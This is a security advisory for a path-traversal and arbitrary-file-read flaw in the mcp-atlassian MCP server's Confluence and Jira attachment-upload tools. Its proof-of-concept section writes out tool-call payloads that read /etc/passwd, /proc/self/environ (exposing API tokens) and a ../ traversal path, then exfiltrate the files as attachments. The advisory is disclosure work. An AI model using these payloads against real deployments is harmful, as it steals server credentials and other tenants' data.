PT-2026-59001 · Pypi · Mcp-Attlasian

Published

2026-07-10

·

Updated

2026-07-10

CVSS v3.1

7.7

High

VectorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

A client that can invoke MCP tools can read arbitrary files from the server host and exfiltrate them as Atlassian attachments. The attachment-upload tools take a client-supplied file path and open() it on the server's filesystem.
The upload tools are meant to attach a file from the caller's environment — the client supplies a path expecting it to refer to its own machine. Over a remote transport (HTTP/SSE) that path is instead resolved and read on the server, and the tool offers no way for the client to send file content in place of a server-side path. A remote client therefore reads the server's files — and, in multi-tenant deployments, other tenants' data — instead of its own. (In a local stdio deployment the server runs as the user, so the path refers to the user's own files and reading any path is the intended behavior; the exposure is specific to remote/multi-user transports.)

Details

The upload tools read a client-supplied path directly on the server:
  • src/mcp atlassian/confluence/attachments.pyupload attachment upload attachment directos.path.abspath(file path)open(file path, "rb")
  • src/mcp atlassian/jira/attachments.pyupload attachmentos.path.abspath(file path)open(file path, "rb")
os.path.abspath() only normalizes the path; the file is then opened on the server wherever it points and its bytes are sent to Atlassian as an attachment. There is no path a client can use to reference its own filesystem, and no option to upload raw content instead of a server-side path.
Client-reachable entry points that hit these sinks:
  • confluence upload attachmentConfluenceFetcher.upload attachment. The file path field is documented as "absolute … or relative to the current working directory."
  • confluence upload attachments → loops over the same sink.
  • jira update issue — its attachments parameter (JSON array or comma-separated list of paths) flows through IssuesMixin.update issueself.upload attachments → the Jira sink. There is no standalone jira upload attachment tool; jira update issue is the only Jira entry point.

PoC

Local reproduction
Extract traversal upload attachment file read.zip:
# Fill credentials in docker-compose.yml; set CONFLUENCE PAGE ID / JIRA ISSUE KEY in poc.sh
docker compose up -d    # mcp-atlassian, streamable-http, 0.0.0.0, READ ONLY MODE=false
./poc.sh          # exits 0 on success
Requires Docker, curl, jq, and an Atlassian Cloud site with a Confluence page and a Jira issue (free tier works). The script runs the steps below and confirms the /etc/passwd round-trip. Planted attachments are intentionally left in place so they can be confirmed in the Atlassian UI.
All calls are issued against the HTTP transport with READ ONLY MODE=false (the default).
Step 1 — read /etc/passwd from the server via Confluence upload:
req → tools/call confluence upload attachment
   { "content id": "<PAGE ID>", "file path": "/etc/passwd" }
← { "message": "Attachment uploaded successfully",
  "attachment": { "success": true, "filename": "passwd", "id": "att<...>" } }
Step 2 — retrieve the exfiltrated content back through MCP (round-trip proves a real read):
req → tools/call confluence download attachment { "attachment id": "att<...>" }
← base64 resource decoding to:
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...
Step 3 — same primitive via the Jira entry point (second sink):
req → tools/call jira update issue
   { "issue key": "<ISSUE KEY>", "fields": "{}", "attachments": "/etc/passwd" }
← { "attachment results": { ... "success": true ... } }
Step 4 — credential disclosure via /proc/self/environ:
req → tools/call confluence upload attachment
   { "content id": "<PAGE ID>", "file path": "/proc/self/environ" }
← success; the resulting "environ" attachment contains the server's env,
 including JIRA API TOKEN / CONFLUENCE API TOKEN.
(os.path.getsize reports 0 for procfs, but the upload transmits the real content — the attachment shows ~1 kB in the Confluence UI.)
Step 5 — relative traversal accepted (no containment):
req → tools/call confluence upload attachment
   { "content id": "<PAGE ID>", "file path": "../../../../etc/hostname" }
← success — relative paths are resolved and read on the server just like absolute ones.
The uploaded files (passwd, environ, hostname) appear as real attachments on the Confluence page, confirming the server read them off its own host.

Impact

Any client that can invoke the upload tools can exfiltrate arbitrary files readable by the server process (e.g. /etc/passwd, /proc/self/environ, application config, key material). Uploading /proc/self/environ discloses the server's environment variables — including the configured JIRA API TOKEN / CONFLUENCE API TOKEN — i.e. the server process's own Atlassian credentials and any other secrets on the host. In a multi-tenant HTTP deployment this also breaks tenant isolation: one client reads files belonging to the deployment or to other tenants.
The security impact concentrates in remote / HTTP-transport deployments (sse, streamable-http, default bind 0.0.0.0), where the file path resolves on the server host rather than the client's. In a single-user stdio deployment the path refers to the user's own machine, so there is no boundary crossing.

Credit

Fix

Path traversal

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-WM45-QH3G-V83F

Affected Products

Mcp-Attlasian